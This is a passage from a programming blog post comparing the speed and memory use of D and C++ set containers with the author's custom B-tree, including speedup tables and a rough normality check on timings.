As we increased \(n\), the C++ programs started to converge towards something close to the true memory usage per element, but the D ones kept to a maximum RSS two orders of magnitude higher.
Remember that max RSS stands for the greatest amount of physical memory the process occupied during its entire execution.
Since both AAs and <code class="language-plaintext highlighter-rouge">std.container.rbtree</code> make heavy use of the GC, I assume that is what’s keeping the RSS high; perhaps it keeps freed memory around in order to reuse it later, instead of giving it back to the operating system.</p>

<p>Something you might notice in the last chart is that it includes memory usage for another set container, <code class="language-plaintext highlighter-rouge">eris.btree</code>.
That’s my custom B-tree, which is implemented in D, but uses a custom allocator (based on <code class="language-plaintext highlighter-rouge">malloc</code> and <code class="language-plaintext highlighter-rouge">free</code>) instead of the D GC.
We can see that, despite being implemented in D (and being run with the same heavier runtime), this data structure has similar behaviour to the C++ ones with respect to our measure of memory usage, beating them by approximately 4x at \(n = 2^{20}\).
This also strenghtens the argument that the huge max RSS per element, obtained when benchmarking the D containers, is due to their usage of the GC and probably not even close to true memory usage (if only they supported custom allocators …).</p>

<p>The next section compares my custom <code class="language-plaintext highlighter-rouge">eris.btree</code> container with the other sets we’ve seen so far.</p>

<h2 id="b-tree-container">B-Tree Container</h2>

<p>While D’s standard set containers have roughly equivalent (often slightly better) performance compared to their C++ counterparts, it turns out that C++ standard set containers are not actually that good to begin with.
From what I could gather, these standard containers can’t be the fastest possible data types due to requirements of reference and iterator stability across mutating operations on the containers, as well as a few requirements related to const-correctness.
This means that <code class="language-plaintext highlighter-rouge">std::set</code> (like <code class="language-plaintext highlighter-rouge">std::map</code>) pretty much has to be implemented with a binary tree (a red-black tree, to be more precise), and that <code class="language-plaintext highlighter-rouge">std::unordered_set</code> (like <code class="language-plaintext highlighter-rouge">std::unordered_map</code>) can’t use closed hashing (i.e. their hash table implementation has to use separate chaining).
All of these restrictions lead to worse performance, mainly through less-than-optimal cache usage.</p>

<p>As far as I know, relational databases rely on B+ and B-trees because these data structures provide increased data locality on each node and, due to a fan-out that’s much higher than a binary tree, less pointer chasing when going down the tree.
While these factors are especially relevant for data structures using hard disks as their underlying storage, <a href="https://panthema.net/2007/stx-btree/speedtest/">they also apply to in-memory data strucutres</a>.
Therefore, I figured that a simple B-tree-based set would provide a good contestant against D and C++ standard containers.
Let’s check the results:</p>

<figure class=""><a href="/assets/images/eris/sets-upsert-int.png" class="image-popup"><img src="/assets/images/eris/sets-upsert-int.png" alt="set containers - upsert - int" /></a></figure>

<figure class=""><a href="/assets/images/eris/sets-lookupFind-int.png" class="image-popup"><img src="/assets/images/eris/sets-lookupFind-int.png" alt="set containers - lookupFind - int" /></a></figure>

<figure class=""><a href="/assets/images/eris/sets-lookupFail-int.png" class="image-popup"><img src="/assets/images/eris/sets-lookupFail-int.png" alt="set containers - lookupFail - int" /></a></figure>

<figure class=""><a href="/assets/images/eris/sets-remove-int.png" class="image-popup"><img src="/assets/images/eris/sets-remove-int.png" alt="set containers - remove - int" /></a></figure>

<p>As we can see, for \(2^{14} \le n \le 2^{20}\), the performance of our B-tree is closer to hash-based sets than tree-based ones.
B-tree operations have a theoretical time complexity of \(\Theta(log_m n)\), for some constant \(m \gt 2\); as \(m\) (the order of the B-tree) increases, this becomes “effectively \(\mathcal{O}(1)\)” for any real-world \(n\), which is precisely what we’re observing in these results.
If you prefer relative speedups, here’s how our B-tree compares to other sets at \(n = 2^{20}\):</p>

<table>
  <thead>
    <tr>
      <th style="text-align: left">container / operation</th>
      <th style="text-align: right"><code class="language-plaintext highlighter-rouge">upsert</code></th>
      <th style="text-align: right"><code class="language-plaintext highlighter-rouge">lookupFind</code></th>
      <th style="text-align: right"><code class="language-plaintext highlighter-rouge">lookupFail</code></th>
      <th style="text-align: right"><code class="language-plaintext highlighter-rouge">remove</code></th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td style="text-align: left">AA-as-set</td>
      <td style="text-align: right"><span style="color:orange">1.09x</span></td>
      <td style="text-align: right"><span style="color:red">0.40x</span></td>
      <td style="text-align: right"><span style="color:red">0.32x</span></td>
      <td style="text-align: right"><span style="color:red">0.35x</span></td>
    </tr>
    <tr>
      <td style="text-align: left"><code class="language-plaintext highlighter-rouge">std::set</code></td>
      <td style="text-align: right"><span style="color:green">4.31x</span></td>
      <td style="text-align: right"><span style="color:green">7.27x</span></td>
      <td style="text-align: right"><span style="color:green">4.70x</span></td>
      <td style="text-align: right"><span style="color:green">5.93x</span></td>
    </tr>
    <tr>
      <td style="text-align: left"><code class="language-plaintext highlighter-rouge">std::unordered_set</code></td>
      <td style="text-align: right"><span style="color:green">2.02x</span></td>
      <td style="text-align: right"><span style="color:red">0.58x</span></td>
      <td style="text-align: right"><span style="color:red">0.42x</span></td>
      <td style="text-align: right"><span style="color:green">1.50x</span></td>
    </tr>
    <tr>
      <td style="text-align: left"><code class="language-plaintext highlighter-rouge">std.container.rbtree</code></td>
      <td style="text-align: right"><span style="color:green">3.86x</span></td>
      <td style="text-align: right"><span style="color:green">4.02x</span></td>
      <td style="text-align: right"><span style="color:green">4.29x</span></td>
      <td style="text-align: right"><span style="color:green">4.10x</span></td>
    </tr>
  </tbody>
</table>

<p>Looking at just the tree-based containers, we can see speedups of approximately 4x (and up to ~7x) across the board by using our custom B-tree-based set.
In most cases, we still fall behind the hash-based containers, albeit by less than the order-of-magnitude margin they had over the red-black trees.
The exception here is <code class="language-plaintext highlighter-rouge">upsert</code>, where the B-tree gets a little faster than the hash tables.
As for memory, we covered that in the previous section already.</p>

<p>A B-tree’s main disadvantage is the fact that mutating operations may need to move multiple elements around in memory.
This invalidates iterators and references to internally-held elements, but may also decrease performance for bigger elements.</p>

<h2 id="bigger-elements">Bigger Elements</h2>

<p>A big part of “modern C++” is copy elision and move semantics.
These features are supposed to interact nicely with RAII, and improve performance by avoiding unnecessary copies.
While D also has some features to avoid copies, there’s definitely much less of a focus in that.
Therefore, it should be interesting to compare our sets with bigger element types.
In our case, we’ll use fixed-size arrays, each with exactly 32 bytes; they’re ordered by <code class="language-plaintext highlighter-rouge">strncmp</code> and hashed by a 32-bit <a href="http://www.isthe.com/chongo/tech/comp/fnv/#FNV-1a">FNV-1a function</a>
(in the previous experiments, we were relying on each language’s built-in ordering and hashing functions for integers).</p>

<p>In these benchmarks, I expected cache locality to play a smaller role, since fewer elements can fit in the cache now – our B-tree probably won’t get the same speedups it did before.
To my surprise, the performance of C++’s <code class="language-plaintext highlighter-rouge">std::unordered_set</code> completely broke down with this bigger element type, to the point where I gave up on measuring its performance for any \(n &gt; 10,000\).
I’m not sure what’s happening, but <code class="language-plaintext highlighter-rouge">std::unordered_set</code> behaves linearly when holding elements with 24+ bytes, and <a href="https://quick-bench.com/q/Akkh2rveMUZ5DSCXuDy-5_HRcik">this is reproducible</a> with clang as well.</p>

<figure class=""><a href="/assets/images/eris/unordered_set-String32.png" class="image-popup"><img src="/assets/images/eris/unordered_set-String32.png" alt="std::unordered_set String32" /></a></figure>

<p>After removing the problematic <code class="language-plaintext highlighter-rouge">std::unordered_set&lt;String32&gt;</code>, our results (disappointingly) match my expectations, with the performance of <code class="language-plaintext highlighter-rouge">eris.btree</code> falling behind the AA implementation, and getting closer to (albeit still faster than) the other tree-based sets.</p>

<figure class=""><a href="/assets/images/eris/sets-upsert-String32.png" class="image-popup"><img src="/assets/images/eris/sets-upsert-String32.png" alt="set containers - upsert - String32" /></a></figure>

<figure class=""><a href="/assets/images/eris/sets-lookupFind-String32.png" class="image-popup"><img src="/assets/images/eris/sets-lookupFind-String32.png" alt="set containers - lookupFind - String32" /></a></figure>

<figure class=""><a href="/assets/images/eris/sets-lookupFail-String32.png" class="image-popup"><img src="/assets/images/eris/sets-lookupFail-String32.png" alt="set containers - lookupFail - String32" /></a></figure>

<figure class=""><a href="/assets/images/eris/sets-remove-String32.png" class="image-popup"><img src="/assets/images/eris/sets-remove-String32.png" alt="set containers - remove - String32" /></a></figure>

<p>Here’s another speedup table for our B-tree at \(n = 2^{20}\):</p>

<table>
  <thead>
    <tr>
      <th style="text-align: left">container / operation</th>
      <th style="text-align: right"><code class="language-plaintext highlighter-rouge">upsert</code></th>
      <th style="text-align: right"><code class="language-plaintext highlighter-rouge">lookupFind</code></th>
      <th style="text-align: right"><code class="language-plaintext highlighter-rouge">lookupFail</code></th>
      <th style="text-align: right"><code class="language-plaintext highlighter-rouge">remove</code></th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td style="text-align: left">AA-as-set</td>
      <td style="text-align: right"><span style="color:red">0.35x</span></td>
      <td style="text-align: right"><span style="color:red">0.20x</span></td>
      <td style="text-align: right"><span style="color:red">0.16x</span></td>
      <td style="text-align: right"><span style="color:red">0.17x</span></td>
    </tr>
    <tr>
      <td style="text-align: left"><code class="language-plaintext highlighter-rouge">std::set</code></td>
      <td style="text-align: right"><span style="color:green">1.73x</span></td>
      <td style="text-align: right"><span style="color:green">1.77x</span></td>
      <td style="text-align: right"><span style="color:green">1.51x</span></td>
      <td style="text-align: right"><span style="color:green">1.59x</span></td>
    </tr>
    <tr>
      <td style="text-align: left"><code class="language-plaintext highlighter-rouge">std.container.rbtree</code></td>
      <td style="text-align: right"><span style="color:green">1.37x</span></td>
      <td style="text-align: right"><span style="color:orange">0.98x</span></td>
      <td style="text-align: right"><span style="color:green">1.57x</span></td>
      <td style="text-align: right"><span style="color:green">1.22x</span></td>
    </tr>
  </tbody>
</table>

<h2 id="checking-assumptions">Checking Assumptions</h2>

<p>As I explained previously, I’m estimating time by picking the minimum measurement across 30 repetitions of each experiment.
This might be surprising for some of you, who would have expected a report of average timing instead.
I did some research on benchmarking techniques, and professional teams seem to prefer percentiles when measuring application performance.
This is because most benchmark results don’t actually follow normal distributions, where mean and standard deviation would do the job.</p>

<p>Since we already have the data for that, we can perform a simple normality test to check whether we should have used the mean instead.
For each of our parameterized experiments, we collect minimum, maximum, mean and the standard deviation of our 30 measurements.
With these, we can compute the z-score of our extrema, and compare that to the 68-95-99.7 (a.k.a the \(1\sigma-2\sigma-3\sigma\)) rule.</p>

<figure class=""><a href="/assets/images/eris/sets-normality-int.png" class="image-popup"><img src="/assets/images/eris/sets-normality-int.png" alt="set containers - normality test - int" /></a></figure>

<p>As we can see, there are many \(3\sigma\) (and even \(4\sigma\)) events in our maximum measurements.
These imply that modeling our performance with a normal distribution would lead us to underestimate how much deviation there really is in our measurements.
At that point, average elapsed time is not as meaningful, and, since I’m lazy, I didn’t want to implement a more advanced statistics collector.</p>

<h2 id="whats-next">What’s Next</h2>

<p>For now, I’m satisfied with the performance my custom B-tree set was able to achieve.
My next step is probably going to be improving its API before making it open-source.</p>

<p>As for further benchmarks, we could try exploring other payloads.
Due to the uniform distribution of our inputs, hash sets have the upper hand.
It would be interesting to test how well that performance stands up to less-than-ideal hash distributions.</p>

<p>At some point, I’ll also try to make a faster hash table in D (and make it <code class="language-plaintext highlighter-rouge">-betterC</code> compatible, of course).
When I do, I’ll add it to these benchmarks as well, and maybe the next time I’ll be using the P50 percentile (the median), since now I have an efficient ordered set data structure which I can use to compute percentiles: <code class="language-plaintext highlighter-rouge">eris.btree</code>.</p>]]></content><author><name>Gabriel B. Sant&apos;Anna</name></author><category term="experiment" /><category term="algorithms" /><summary type="html"><![CDATA[Better than C++, but we can still do betterC]]></summary></entry></feed>